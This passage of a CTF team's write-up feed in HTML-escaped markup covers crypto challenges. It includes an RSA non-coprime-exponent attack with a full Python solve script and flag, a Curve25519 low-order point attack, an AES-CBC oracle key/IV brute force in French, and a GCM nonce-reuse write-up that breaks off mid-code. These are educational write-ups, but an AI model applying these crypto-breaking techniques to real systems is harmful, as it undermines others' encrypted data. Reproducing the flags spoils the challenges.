&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-python&quot;&gt;#&lt;&#x2F;span&gt; p = 108625855303776649594296217762606721187040584561417095690198042179830062402629658962879350820293908057921799564638749647771368411506723288839177992685299661714871016652680397728777113391224594324895682408827010145323030026082761062500181476560183634668138131801648343275565223565977246710777427583719180083291
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-python&quot;&gt;#&lt;&#x2F;span&gt; q = 124798714298572197477112002336936373035171283115049515725599555617056486296944840825233421484520319540831045007911288562132502591989600480131168074514155585416785836380683166987568696042676261271645077182221098718286132972014887153999243085898461063988679608552066508889401992413931814407841256822078696283307
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-python&quot;&gt;#&lt;&#x2F;span&gt; c = 4293606144359418817736495518573956045055950439046955515371898146152322502185230451389572608386931924257325505819171116011649046442643872945953560994241654388422410626170474919026755694736722826526735721078136605822710062385234124626978157043892554030381907741335072033672799019807449664770833149118405216955508166023135740085638364296590030244412603570120626455502803633568769117033633691251863952272305904666711949672819104143350385792786745943339525077987002410804383449669449479498326161988207955152893663022347871373738691699497135077946326510254675142300512375907387958624047470418647049735737979399600182827754
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This is a basic RSA but e and phi(N) are not coprime so there is no unique decryption of the ciphertext (Similar to the Rabin-crypto system). But since we are given &lt;code&gt;p&lt;&#x2F;code&gt; and &lt;code&gt;q&lt;&#x2F;code&gt;, we can compute the e-rooth of the messages (mod p and mod q) and then use the CRT to find the plaintext. We konw the plaintext starts with &lt;code&gt;buckeye{&lt;&#x2F;code&gt; so this will allow us to identify the flag.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python z-code&quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-import z-from z-python&quot;&gt;from&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;span class=&quot;z-meta z-import-source z-python&quot;&gt; &lt;span class=&quot;z-meta z-import-path z-python&quot;&gt;&lt;span class=&quot;z-meta z-import-name z-python&quot;&gt;Crypto&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-import-name z-python&quot;&gt;Util&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-import-name z-python&quot;&gt;number&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-import z-python&quot;&gt;import&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt; &lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;long_to_bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;e&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;1440&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;p&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;108625855303776649594296217762606721187040584561417095690198042179830062402629658962879350820293908057921799564638749647771368411506723288839177992685299661714871016652680397728777113391224594324895682408827010145323030026082761062500181476560183634668138131801648343275565223565977246710777427583719180083291&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;q&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;124798714298572197477112002336936373035171283115049515725599555617056486296944840825233421484520319540831045007911288562132502591989600480131168074514155585416785836380683166987568696042676261271645077182221098718286132972014887153999243085898461063988679608552066508889401992413931814407841256822078696283307&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;4293606144359418817736495518573956045055950439046955515371898146152322502185230451389572608386931924257325505819171116011649046442643872945953560994241654388422410626170474919026755694736722826526735721078136605822710062385234124626978157043892554030381907741335072033672799019807449664770833149118405216955508166023135740085638364296590030244412603570120626455502803633568769117033633691251863952272305904666711949672819104143350385792786745943339525077987002410804383449669449479498326161988207955152893663022347871373738691699497135077946326510254675142300512375907387958624047470418647049735737979399600182827754&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;rmodp&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-group z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-arithmetic z-python&quot;&gt;%&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;p&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;nth_root&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;e&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-parameter z-python&quot;&gt;all&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-language z-python&quot;&gt;True&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;rq&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-group z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-arithmetic z-python&quot;&gt;%&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;q&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;nth_root&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;e&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-statement z-loop z-for z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-loop z-for z-python&quot;&gt;for&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;rp&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-control z-loop z-for z-in z-python&quot;&gt;in&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-loop z-for z-python&quot;&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;rmodp&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-loop z-for z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-loop z-for z-python&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;    &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;crt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;int&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;rp&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;int&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;rq&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;p&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;q&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;    &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;flag&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;long_to_bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;    &lt;span class=&quot;z-meta z-statement z-conditional z-if z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-conditional z-if z-python&quot;&gt;if&lt;&#x2F;span&gt; &lt;span class=&quot;z-storage z-type z-string z-python&quot;&gt;b&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;buckeye&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-logical z-python&quot;&gt;in&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;flag&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-block z-conditional z-if z-python&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;        &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;flag&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;NOTE&lt;&#x2F;strong&gt;: To be completely correct, we might have to test for all roots of c mod q and not just the first one.&lt;&#x2F;p&gt;
&lt;p&gt;and the flag is &lt;code&gt;buckeye{r0ots_0f_uN1Ty_w0rk_f0r_th1s???}&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Elliptigo</title>
        <published>2021-10-27T00:00:00+00:00</published>
        <updated>2021-10-27T00:00:00+00:00</updated>
        
        <author>
          <name>
            leonard-besseau
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/buckeye/elliptigo/"/>
        <id>https://yctf.ch/writeups/buckeye/elliptigo/</id>
        
        <content type="html" xml:base="https://yctf.ch/writeups/buckeye/elliptigo/">&lt;h2 id=&quot;buckeyectf&quot;&gt;BuckeyeCTF&lt;&#x2F;h2&gt;
&lt;p&gt;We are given an implementation of the 25519 curve and are allowed to give a base point use to generate a private key for AES. Since we can choose the base point (The generator we should try to generate an anomalous curve).&lt;&#x2F;p&gt;
&lt;p&gt;By looking &lt;a href=&quot;https:&#x2F;&#x2F;cr.yp.to&#x2F;ecdh.html#validate&quot;&gt;here&lt;&#x2F;a&gt;, we can see there already is some point that have a low order. We can take any and then we can decrypt the message with either (0, 1 the point or the other 5 possibilities).&lt;&#x2F;p&gt;
&lt;p&gt;This gives us the flag &lt;code&gt;buckeye{p01nt5_0f_l0w_0rd3r}&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Key Exchange</title>
        <published>2021-10-27T00:00:00+00:00</published>
        <updated>2021-10-27T00:00:00+00:00</updated>
        
        <author>
          <name>
            leonard-besseau
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/buckeye/key-exchange/"/>
        <id>https://yctf.ch/writeups/buckeye/key-exchange/</id>
        
        <content type="html" xml:base="https://yctf.ch/writeups/buckeye/key-exchange/"></content>
        
    </entry>
    <entry xml:lang="en">
        <title>Keybase</title>
        <published>2021-08-28T00:00:00+00:00</published>
        <updated>2021-08-28T00:00:00+00:00</updated>
        
        <author>
          <name>
            carcajou
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/crypto/keybase/"/>
        <id>https://yctf.ch/writeups/crypto/keybase/</id>
        
        <content type="html" xml:base="https://yctf.ch/writeups/crypto/keybase/">&lt;p&gt;Ce challenge portait sur une attaque avec un Accès à un oracle de chiffrement sur AES-CBC.&lt;&#x2F;p&gt;
&lt;p&gt;N&#x27;ayant pas réussi à résoudre ce challenge, vous trouverez en suivant le lien ci-dessous 2 writes-up avec la résolution complète : &lt;a href=&quot;https:&#x2F;&#x2F;ctftime.org&#x2F;task&#x2F;16740&quot;&gt;https:&#x2F;&#x2F;ctftime.org&#x2F;task&#x2F;16740&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Ci-dessous, voici un récapitulatif de la solution&lt;&#x2F;p&gt;
&lt;h2 id=&quot;presentation&quot;&gt;Présentation&lt;&#x2F;h2&gt;
&lt;p&gt;On pouvait envoyait un bloc de 32 bytes à chiffrer à l&#x27;oracle. Celui-ci renvoyait&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;une partie de la clé (14 bytes),&lt;&#x2F;li&gt;
&lt;li&gt;le 1er bloc de texte chiffré (16 bytes)&lt;&#x2F;li&gt;
&lt;li&gt;ainsi qu&#x27;une partie du 2ème bloc de texte chiffré (si ma mémoire est bonne)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Les 2 bytes manquant de la clé pouvait être brute-forcé car cela fait seulement 2^16 possibilités.&lt;&#x2F;p&gt;
&lt;p&gt;Pour l&#x27;IV c&#x27;était un peu plus compliqués vu qu&#x27;on avait 2^128 possibilités.&lt;&#x2F;p&gt;
&lt;p&gt;La faille résidait dans le fait qu&#x27;on pouvait envoyer avec pwntools un message de 32 bytes à 0 (32 * &#x27;\0&#x27;). Ainsi avant le chiffrement, on avait IV XOR &#x27;&#x27;\0&#x27; ce qui avait pour conséquent que seulement l&#x27;IV était chiffré.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;attaque&quot;&gt;Attaque&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;Pour toutes les possibilités de clés :
&lt;ul&gt;
&lt;li&gt;Déchiffrer l&#x27;IV chiffré (Ciphertext bloc 1) avec la clé essayé -&amp;gt; on obtient un IV&lt;&#x2F;li&gt;
&lt;li&gt;Il faut stocker la paire IV, Clé. En python une liste contenant des tuples représentant à chaque fois une paire clé - IV.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;Pour tous les IV obtenus, déchiffrer le message chiffré du challenge. Si on obtient un mot contenant le terme &quot;flag&quot; dedans =&amp;gt; on a alors la bonne combinaison de clé&#x2F;IV&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;schema&quot;&gt;Schéma&lt;&#x2F;h2&gt;
&lt;p&gt;Schéma simplifié du déchiffrement avec un message composé de 32 bytes nulls..&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;En orange foncé, ce qu&#x27;on connait&lt;&#x2F;li&gt;
&lt;li&gt;En clair, ce qu&#x27;on connait partiellement&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;yctf.ch&#x2F;writeups&#x2F;crypto&#x2F;keybase&#x2F;cbc-aes-Page-3.png&quot; alt=&quot;cbc-aes-Page-3&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Wolf</title>
        <published>2021-08-03T00:00:00+00:00</published>
        <updated>2021-08-03T00:00:00+00:00</updated>
        
        <author>
          <name>
            leonard-besseau
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/crypto/wolf/"/>
        <id>https://yctf.ch/writeups/crypto/wolf/</id>
        
        <content type="html" xml:base="https://yctf.ch/writeups/crypto/wolf/">&lt;p&gt;&lt;strong&gt;Not solved during the CTF&lt;&#x2F;strong&gt; :(&lt;&#x2F;p&gt;
&lt;p&gt;For this task we are given the source code and an encryption oracle.&lt;&#x2F;p&gt;
&lt;p&gt;So we can see that the encryption use GCM and that the password is hard-coded. The message are encrypted with the following structure (HEADER|MESSAGE|PADDING)&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;yctf.ch&#x2F;writeups&#x2F;crypto&#x2F;wolf&#x2F;files&#x2F;GCM-Galois_Counter_Mode_with_IV.svg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;My first idea was to recover the nonce as the header is predictable in order to decrypt the message normally.&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;nonce = ECB_decrypt(plaintext XOR CipherText) - 2
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;this was not possible as it appears that the library generates a new nonce for the CTR if the nonce is smaller than 12 bytes.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;solution&quot;&gt;Solution&lt;&#x2F;h2&gt;
&lt;p&gt;As the program reuse the nonce it leaks the XOR of the plaintexts so we just have to ask for one encrypted text, XOR it with the encrypted flag and XOR the result with the known plain text.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python z-code&quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;a&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;xor&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin 